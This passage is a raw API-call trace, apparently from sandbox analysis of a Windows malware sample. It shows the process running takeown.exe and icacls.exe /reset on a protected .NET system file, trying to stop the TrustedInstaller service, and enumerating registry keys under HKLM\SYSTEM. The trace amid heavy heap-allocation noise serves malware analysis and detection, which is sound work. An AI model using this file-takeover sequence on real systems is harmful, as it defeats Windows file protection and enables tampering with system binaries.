lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0176.175] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.176] RegCloseKey (hKey=0x9c) returned 0x0 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0176.176] RegCloseKey (hKey=0x140) returned 0x0 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0176.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0176.176] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0176.176] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0176.177] GetLastError () returned 0x5 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0176.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0176.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0176.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0176.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4f40 [0176.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0176.177] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", lpProcessInformation=0x36f4a4*(hProcess=0x9c, hThread=0x140, dwProcessId=0x6e4, dwThreadId=0x5f4)) returned 1 [0176.181] NtClose (Handle=0x140) returned 0x0 [0176.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4f40) returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0176.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0176.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0176.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0176.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0176.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0176.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0176.182] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x2710) returned 0x0 [0176.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0176.689] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4f40 [0176.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0176.689] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x14c, hThread=0x140, dwProcessId=0x420, dwThreadId=0x58c)) returned 1 [0176.692] NtClose (Handle=0x140) returned 0x0 [0176.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4f40) returned 1 [0176.692] NtClose (Handle=0x9c) returned 0x0 [0176.692] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0177.044] NtClose (Handle=0x14c) returned 0x0 [0177.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0177.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0177.044] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0177.044] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.044] GetLastError () returned 0x5 [0177.044] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0177.045] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0177.045] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0177.045] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0177.046] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0177.046] GetLastError () returned 0x426 [0177.046] CloseServiceHandle (hSCObject=0x803990) returned 1 [0177.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0177.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0177.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0177.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0177.046] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0177.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0177.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0177.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.048] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.048] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0177.048] RegCloseKey (hKey=0x80000002) returned 0x0 [0177.048] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0177.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.048] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.050] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.050] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, 